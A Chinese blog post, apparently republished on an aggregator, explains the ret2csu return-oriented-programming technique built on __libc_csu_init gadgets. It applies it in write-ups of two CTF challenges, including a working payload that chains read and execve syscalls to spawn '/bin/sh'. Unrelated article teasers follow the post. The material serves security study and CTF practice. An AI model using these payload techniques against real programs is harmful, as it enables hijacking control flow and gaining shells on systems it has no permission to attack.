ret2csu简单总结

一个比较进阶的rop利用方式。

Why ret to csu?

当程序给的gadget不够,或者输入长度受限时,可以考虑利用csu中的众多gadget以及一个call指令来劫持控制流。

__libc_csu_init

汇编源码:

.text:0000000000400790 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:0000000000400790                 public __libc_csu_init
.text:0000000000400790 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400790 ; __unwind {
.text:0000000000400790                 push    r15
.text:0000000000400792                 push    r14
.text:0000000000400794                 mov     r15d, edi
.text:0000000000400797                 push    r13
.text:0000000000400799                 push    r12
.text:000000000040079B                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004007A2                 push    rbp
.text:00000000004007A3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004007AA                 push    rbx
.text:00000000004007AB                 mov     r14, rsi
.text:00000000004007AE                 mov     r13, rdx
.text:00000000004007B1                 sub     rbp, r12
.text:00000000004007B4                 sub     rsp, 8
.text:00000000004007B8                 sar     rbp, 3
.text:00000000004007BC                 call    _init_proc
.text:00000000004007C1                 test    rbp, rbp
.text:00000000004007C4                 jz      short loc_4007E6
.text:00000000004007C6                 xor     ebx, ebx
.text:00000000004007C8                 nop     dword ptr [rax+rax+00000000h]
.text:00000000004007D0
.text:00000000004007D0 loc_4007D0:                             ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004007D0                 mov     rdx, r13
.text:00000000004007D3                 mov     rsi, r14
.text:00000000004007D6                 mov     edi, r15d
.text:00000000004007D9                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD                 add     rbx, 1
.text:00000000004007E1                 cmp     rbx, rbp
.text:00000000004007E4                 jnz     short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6                 add     rsp, 8
.text:00000000004007EA                 pop     rbx
.text:00000000004007EB                 pop     rbp
.text:00000000004007EC                 pop     r12
.text:00000000004007EE                 pop     r13
.text:00000000004007F0                 pop     r14
.text:00000000004007F2                 pop     r15
.text:00000000004007F4                 retn
.text:00000000004007F4 ; } // starts at 400790
.text:00000000004007F4 __libc_csu_init endp

我们关注这两段代码,
image

下面的记作gadget1,上面的记作gadget2,因为我们会先执行下面的gadget。
先看gadget1:
第一个的 add rsp, 8我们会直接略过(可以填充8个垃圾字符,也可以直接从0x40059A开始)
后面的6个pop就能控制对应的寄存器。
结合gadget2来看,

  1. rbx:image
    很显然直接置为0
  2. rbp:image
    为了满足比较条件,防止jnz跳转,我们将rbp置为1即可
  3. r12:image
    当我们把rbx置为0后,就是call [r12]的调用,所以我们将r12设置为指向待执行函数地址值的地址即可(比如函数的got表)。这里要注意,是一个间接跳转。
    那么有时候我们不想call,仅仅只是为了传参怎么办呢?
    我们可以调用_term_proc这个"空函数"。image
    可以看到call了后对我们没有任何影响。
    关于找指向_term__proc地址值的地址的方法
    image
  4. r13:image
    可以发现,经过gadget1+gadget2的作用,控制r13就是控制rdx
  5. r14:同上,控制r14就是控制rsi
  6. r15:image
    这里要注意下,我们只能控制rdi的低32位,也就是edi,所以不能完全的控制rdi的值。不过,一般64位程序中,pop_edi_ret的gadget都是很好找的。
  7. 上述6个pop完了过后,填入gadget2的地址即可跳转到gadget2继续执行。

当然,如果并不需要控制寄存器,例如:我们执行完gadget1跳到gadget2然后"滑下来"又到了gadget1,此时我们就直接填充7*8 = 56个垃圾字符就行,到达ret时再劫持控制流。

几道题目

[VNCTF2022公开赛]clear_got

题目

很棒的一道题。
程序很短,image

这里把got表清空了,而且程序本身的gadget也不大够,可以用ret2csu来打。
由于ret2csu要执行函数需要一个[r12],如果有got表的话直接填入got表,但是这里memset了,就只能考虑程序给的系统调用了。
ret2syscall那里也提到过,可以通过read成功读取的字节数来控制rax。

所以我们第一遍ret2csu先布置好read(0,bss,59)的参数,在bss段写入"/bin/sh\x00",p64(syscall),然后凑够59字节。(64为execve系统调用号为59)
然后再打一遍ret2csu,布置好execve("/bin/sh\x00",0,0)的参数,用[r12]来调用syscall。

有些细节也要注意:

  1. 第一次打完csu的gadget2跳到gadget1时,直接布置execve的参数,不然后面的payload长度会超过限制。
  2. 我们第一次csu不需要call调用函数,所以要找一个"空函数",一般选择_term_proc,但是要注意到是call [r12],所以要找一个指向_term_proc的地址。gdbimage
  3. 第一遍布置完read的参数后我们紧接着布置了第二次,布置完过后才调用syscall(直接控制流调用),经尝试发现,这个syscall的调用不能放在两次gadget的中间。尽可能保证前面参数布置的流畅性。
  4. 为什么我们在传完"/bin/sh\x00"后还要传一个p64(system)?还是一样的,call [r12],所以得通过写在bss段上来造一个间接跳转。

具体看代码吧:

syscall = 0x000000000040077Ecsu_g1 = 0x4007EA
csu_g2 = 0x4007D0
bss = 0x601060
p_termproc = 0x600e50pl = b'a'*0x60 + b'b'*0x8
# read(0,bss,59)  rdi:0 rsi:bss rdx:59
pl += p64(csu_g1) + p64(0) + p64(1) + p64(p_termproc) + p64(59) + p64(bss) + p64(0)
pl += p64(csu_g2)
pl += b'a'*8 # ignore    :    add     rsp, 8
# execve("/bin/sh",0,0)
pl += p64(0) + p64(1) + p64(bss+8)
pl += p64(0) + p64(0)
pl += p64(bss) + p64(syscall) + p64(csu_g2)
sa("///\n",pl)
pl = b'/bin/sh\x00' + p64(syscall)
pl = pl.ljust(59,b"\x00")
sl(pl)p.interactive()

image

ciscn_2019_es_7

题目

在学SROP的时候也是用的这道题,其实用ret2csu也比较好做,只是这里跟上面那道题又有点区别。
vuln就两个系统调用
image

而且程序里面给了mov eax,0F;和mov eax 3B;的gadget,所以SROP和execve都能直接打。
这题没办法写在bss段,只能写在题目给的栈里面。
根据多打印的信息泄露栈地址,从而得到输入的"/bin/sh"的地址,然后用csu简单布置下参数就行。
这道题的话,csu仅仅做的就是一个把rdx和rsi置0的作用,如果想利用call [r12]直接调用syscall好像不行?
尝试了下没打通。
image

注释掉的就是想用上一题的打法来打,不知道为什么打不通。
当然,这题有pop_rdi的gadget,输入也足够,所以控制好execve后两个参数后将csu_gadget1填充56个垃圾字符,再劫持控制流打正常的ret2syscall就行。
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/43704.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

无人直播赚钱的底层逻辑是什么?一文揭晓!

当前,网络直播已经成为各类商家提高曝光和引流获客的主要渠道之一,这在为商家带来新机遇的同时,也让他们因人手不足或资金匮乏等原因而陷入无人问津窘境之中。在此背景下,无人直播软件一经出现,便引起了众多商家的关注…

多器官功能障碍综合征

多器官功能障碍综合征(Multiple Organ Dysfunction Syndrome,MODS)是指机体在遭受严重感染、创伤、休克、大手术等急性疾病过程中,同时或序贯发生两个或两个以上器官功能障碍,以致不能维持内环境稳定的临床综合征。 MO…

28V飞机库维修电源在飞机库中的作用

飞机库作为飞机停放和维护的重要场所,其设施的完善和电源系统的稳定运行是保证飞机正常运行的前提。随着我国航空事业的飞速发展,飞机维修行业面临着越来越大的挑战。在飞机维修过程中,电源系统作为关键组成部分,其稳定性和可靠性…

网络服务与应用-广域网技术(华为ip认证学习笔记)

网络服务与应用 FTP:文件传输协议 TCP 传输 20 端口发送,21 接收端口 1. 采用 C/S 结构 2. 传输模式 (1)ASCII 模式:传输文本 (2)二进制模式:传输非文本 3. 工作模式 (1&…

LeetCode题练习与总结:寻找旋转排序数组中的最小值--153

一、题目描述 已知一个长度为 n 的数组,预先按照升序排列,经由 1 到 n 次 旋转 后,得到输入数组。例如,原数组 nums [0,1,2,4,5,6,7] 在变化后可能得到: 若旋转 4 次,则可以得到 [4,5,6,7,0,1,2]若旋转 …

【MIT 6.5840/6.824】Lab1 MapReduce

MapReduce MapReduce思想实现思路感受 6.5840/6.824 Lab与笔记汇总 本文对应的Lab版本为MIT6.5840-Spring2024的Lab1 本博客只提供思路,不会公开任何代码 本lab耗时约6h,码量约500行 MapReduce思想 MapReduce的思想属于是比较简单的,分为两…

3. 排序算法代码-python

目录 1.冒泡排序2.快速排序3.插入排序4.希尔排序5.选择排序6.堆排序7.归并排序8. 二分查找 1.冒泡排序 冒泡排序""" def BubbleSort(nums):listLength len(nums)while listLength > 0:for i in range(listLength - 1):if nums[i] > nums[i1]:nums[i], n…

References in code to package

【IntelliJ IDEA】IDE学习使用(不时更新)_idea references in code to class-CSDN博客

【笔记】从零开始做一个精灵龙女-画贴图阶段(上)

此文只是我的笔记,不包全看懂,有问题可评论 PS贴图加工 1.打开ps 拖入uv图,新建图层,设置背景色为灰色,改一下图层名字 2.按z缩小一下uv图层,拖入实体uv图片(目的是更好上色,比如…

鸿蒙语言基础类库:【@ohos.util.Vector (线性容器Vector)】

线性容器Vector 说明: 本模块首批接口从API version 8开始支持。后续版本的新增接口,采用上角标单独标记接口的起始版本。开发前请熟悉鸿蒙开发指导文档:gitee.com/li-shizhen-skin/harmony-os/blob/master/README.md点击或者复制转到。 Vect…

云原生(Cloud native)

云原生(Cloud native) 一 定义 目前比较权威的定义主要来自Pivotal公司和云原生计算基金会(Cloud Native Computing Foundation,简称CNCF)。 1.1 Pivotal 4个要点: DevOps、持续交付、微服务、容器化。六…

【Java后端】Service层读取yml配置文件中内容

前言 最近写代码,看到别人写的读取application.yml配置文件中数据,写的挺规范,挺好的;虽然之前也读取过yml文件,但用的其他方法,没这个规范,所以记录下 正文 假设要读取视频地址,…

微信小程序切换商户号

1.登录微信公众平台小程序 2.功能->微信支付 3.关联成功后会志一关联商户号列表显示 4.登录你需要切换的商户号 在下面选择你需要开通的产品服务 5.切换到账户中心的api安全里面 只需要改变当前下面的配置即可切换小程序的收款商户号 申请API证书按照官方的指引即可解…

关于redis的运维面试题-2

21. Redis的客户端连接数限制如何设置? 在Redis中,客户端连接数的限制可以通过配置文件redis.conf来设置,也可以通过命令行直接设置。以下是如何通过配置文件和命令行来设置Redis客户端连接数限制的步骤和示例代码。 通过配置文件设置客户端…

JS计算某一年的土地租金收入和土地承租支出

涉及到多年的地租 , 例如 2024年5月15日 - 2026年5月15日 , 总承包租金是60000 假设 当前年是2024年 , 则计算2024年5月15日-2024年12月31日的租金收入 , 如果是2025年则是2025年1月1日-2025年12月31日 //示例交易数据 var transactions [ { type: "转出土地收益&qu…

怎么区分住宅IP还是机房IP?机房IP和住宅IP有哪些不同?

在网络技术的应用中,IP地址扮演着至关重要的角色。了解IP地址的种类及其特性,对于进行网络管理、优化网络安全策略、以及实施数据分析等任务至关重要。本文将深入探讨如何区分住宅IP和机房IP,并分析两者的主要差异。 一、IP地址分类简介 IP…

pytorch-RNN存在的问题

这里写目录标题 1. RNN存在哪些问题呢?1.1 梯度弥散和梯度爆炸1.2 RNN为什么会出现梯度弥散和梯度爆炸呢? 2. 解决梯度爆炸方法3. Gradient Clipping的实现4. 解决梯度弥散的方法 1. RNN存在哪些问题呢? 1.1 梯度弥散和梯度爆炸 梯度弥散是…

【人工智能】深度学习:神经网络模型

【人工智能】深度学习:神经网络模型 神经网络基础知识 BP神经网络的概念 单个神经元的结构 CNN模型汇总 LeNet5 模型 AlexNet 模型 VGG模型 Inception Net(GoogleNet)模型 ResNet (残差网络) RNN模型&#x…

css实现渐进中嵌套渐进的方法

这是我们想要的实现效果: 思路: 1.有一个底色的背景渐变 2.需要几个小的块级元素做绝对定位通过渐变filter模糊来实现 注意:这里的采用的定位方法,所以在内部的元素一律要使用绝对定位,否则会出现层级的问题&…

小白攻克歌曲“无名的人”,逐句精研的歌唱诀窍

《无名的人》 作词:唐恬 作曲:钱雷 演唱:毛不易 今天不讲解练习技巧,有需要的可以查看往期文章,我给大家带一下无名的人,练习一下情感融入。 对于众多唱歌小白而言,学习歌曲《无名的人》是一…